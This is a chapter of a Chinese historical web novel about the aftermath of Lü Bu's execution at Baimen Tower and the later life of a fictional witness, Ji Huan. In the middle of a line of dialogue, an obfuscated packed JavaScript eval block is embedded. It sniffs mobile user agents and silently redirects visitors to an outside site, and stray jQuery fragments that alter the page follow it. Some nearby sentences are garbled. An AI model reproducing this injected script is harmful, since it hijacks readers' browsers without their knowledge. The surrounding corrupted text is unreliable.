雪落了三日三夜。
仿佛要将这座城池连同其中所有的罪孽、哀嚎与不甘一并掩埋，还天地一片虚假的洁白。
白门楼下，吕布被粗大的麻绳捆缚着，押至曹操面前。他那高大魁梧的身躯即便是在跪倒之时，依旧像一头不肯屈服的雄狮。在他的身侧，被一同押解上来的还有陈宫、高顺与张辽。
高顺沉默不语，甲胄虽已残破，腰背却挺得笔直。陈宫则面带冷笑，看着曹操，眼神里满是轻蔑与不屑。唯有张辽，昂然而立，对着曹操怒目而视，毫无降意。
季桓是在一阵剧烈的咳嗽中被楼外的喧哗惊醒的。他不知道自己昏睡了多久，只觉得浑身冰冷，唯有心脏滚烫得像要炸裂开来。
他挣扎着爬下了鼓楼。
每一步都像是在刀尖上行走。刺骨的积水瞬间浸透了他的衣衫。他看不到，听不清，整个世界都变成了一片模糊晃动的光影。
他只有一个念头：去见他。
当他终于依靠着墙壁，挪到那座挂着“白门”二字的城楼下时，他看到了此生此世永不敢忘的一幕。
他先是听到了陈宫的声音，高亢而决绝。“今日之事，死则死矣，勿复多言！”曹操问他，你死了，你的老母妻儿怎么办。他答：“吾闻以孝治天下者，不害人之亲；施仁政于天下者，不绝人之祀。老母之存否，在明公耳。”
曹操为之垂泪，下令善待其家人，而陈宫则头也不回地走向了刑场。
接着是高顺。曹操问他：“汝有何言？”高顺一言不发，只是默默地对着吕布的方向，抱拳，躬身，行了最后一礼。而后，引颈受戮，从容赴死。
最后轮到了吕布。
他看到那个男人跪在那里，铁链锁住了他的手足，却锁不住他那双依旧明亮的眼睛。
他听到，那个男人对高坐的曹操说：“明公所患，不过于布。布今已服矣，公为大将，布副之，天下不难定也。”
声音依旧洪亮，带着天生的自信。季桓知道，他不是在求活，他是在用自己最后的价值，为另一个人铺就一条或许能活下去的路。
然后他看到了刘备。
看到了那个一直沉默不语、貌似忠厚的汉室宗亲，在曹操流露出片刻犹豫之时，缓缓地吐出了那句足以诛心的话。
“明公不见布之事丁建阳及董太师乎！”
一言定生死。
季桓看到曹操眼中最后的一丝犹豫消失了。
他看到，吕布在听到那句话时猛地回头，死死地盯住了刘备。那眼神里没有愤怒，只有恍然大悟后的嘲讽。
而后，那个男人似乎感应到了什么。
他缓缓地转过头，目光越过了千百重人影，精准地落在了那个几乎已经无法站立的、蜷缩在墙角的季桓身上。
四目相对。
季桓看到，那个男人的脸上所有的桀骜、不甘、嘲讽，都在那一瞬间消失了。
取而代之的是一个极淡的，只有他能看懂的微笑。
那笑容里，有歉意，有嘱托，也有一种……如释重负的解脱。
刀光，如雪。
世界轰然坍塌，坠入无边的黑暗。
……
季桓再次醒来时，人已在许都的司空府。
温暖的房间，干净的衣衫，苦涩的汤药，以及窗外那一片与下邳截然不同的、安宁的冬日景象。
他活了下来。
曹操信守了吕布那无声的交易。
可活下来却比死去更需要勇气。
他像一个被抽走了灵魂的木偶，不言不语，不饮不食。他只是日复一日地，对着窗外的天空，一坐便是一整天。
郭嘉几乎每日都来。
他们不下棋，也不谈军国大事。郭嘉只是陪着他静坐，偶尔，会说起一些天下间的趣闻，或是某个新收降的武将。
季桓从不回应。
直到有一天，郭嘉看着他那张比死人还要苍白的脸，忽然轻声说了一句：“文远将军新降，勇冠三军，主公甚爱之。奉孝有时在想，若季先生当初遇到的是主公，而非吕布。今日之天下，又该是何等光景？”
季桓那双死寂的眸子终于有了一丝波动。
他缓缓地转过头。
“光景？”
“一个太阳，和一万个太阳，对于一颗微不足道、即将熄灭的星辰而言，又有什么区别呢？”
郭嘉懂了。
他懂了那种不属于这个时代的、彻头彻尾的孤独。
自那以后，他再也没有劝说过季桓出仕。
在经历了整整一年的自我放逐之后，在一个初春的午后，季桓看着镜中自己那张陌生而又憔悴的脸，终于想起了白门楼下那最后的微笑。
他用自己的死，换来了他的生。
如果他就这样如同尘埃般寂灭，那才是对那场死亡最彻底的背叛。
他开始吃饭，开始读书，开始在司空府那座巨大的藏书阁里，翻阅那些浩如烟海的竹简。
他要活下去。
以“见证者”的身份活下去。
建安五年，官渡。
曹操与袁绍，这两个北方最强大的男人展开了决定天下归属的生死对决。
战事一度陷入胶着。曹军粮草不济，军心动摇，数次派人送信回许都，言语间已有了退意。
就在这时，季桓第一次，也是唯一一次，主动求见了曹操。
他没有谈论兵法，也没有分析战局。他只是将一卷他亲手绘制的、关于袁绍军粮草囤积之地——乌巢的防卫疏漏图放在了曹操的面前。
而后，他提出了他的条件。
曹操看着眼前这个青年沉默了许久，他依旧穿着一身洗得发白的儒衫，神情平静得没有一丝波澜。
最终，他点了点头。
“准。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513640|186192||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
官渡之战的结局没有丝毫改变。
火光照亮了乌巢的夜空。袁绍的大军土崩瓦解。曹操成为了北方唯一的霸主。
他履行了他的承诺。张辽因功升迁，终成一代名将。在史官新编的记录中，了“飞将吕布，讨平伪帝”的字样。
那是一行很不起眼的小字。
却耗尽了季桓在这个时代里最后的一丝力气。
他向曹操提出了告辞。
这一次，曹操没有挽留。他只是站在高台之上目送着那连一个随从都没有的孤单身影，缓缓地消失在了许都那漫长的古道尽头。
郭嘉站在他的身后，轻声叹息。
“主公，就这么放他走了？”
“留不住的。”曹操的目光深邃如海，“他不属于任何人麾下。他只属于他自己，和他心中那个早已死去的世界。”
……
那之后，又过了许多年。
天下分分合合。赤壁的烈火，汉中的烟云，白帝城的悲歌……一幕幕波澜壮阔的大戏轮番上演。
只是，这一切都再也与那个叫季桓的人无关了。
有人说，他去了江东，在某个不知名的小镇开了家私塾，教孩子们读书写字。
也有人说，他一路向西，越过了流沙，再也没有回来。
更有人说，他根本没有走远，只是在下邳城的旧址上，盖了一间草庐，守着一座无名的荒冢，了此残生。
没有人知道他去了哪里。
就像没有人知道他从哪里来。
在一处可以望见北方草原轮廓的不知名山坡上，一间简陋的茅屋，在落日的余晖中亮起了一豆昏黄的灯火。
一个须发已有些斑白的人，伏在案前，用一支秃笔，在最后一卷竹简上，写下了结尾。
他写得很慢，很认真。
写完之后，他长长地，舒了一口气。仿佛卸下了一生的重担。
他将所有的竹简，小心翼翼地捆绑整齐，放在了书架之上。那些竹简，没有名字，只有一个卷标，上面刻着两个古朴的篆字——《奉先》。
他吹熄了灯，推开门，走了出去。
夜已经深了。
天空干净得像一块被洗过的深蓝色绸缎。漫天的星辰璀璨得仿佛触手可及。
一阵风从北方吹来。
那风中，带着一股混合着青草与自由的气息。
风里似乎还夹杂着什么声音。
是歌声么？
还是，只是风吹过草原时发出的回响？
他不知道。
他从怀中，取出了一卷早已被摩挲得边角起毛的陈旧兽皮舆图，缓缓地将其展开。
那图上画着他早已烂熟于心的、长城以外的山川与河流。
他站在那里，站了很久很久。
像是在聆听着一个来自今生，或是来世的，遥远的约定。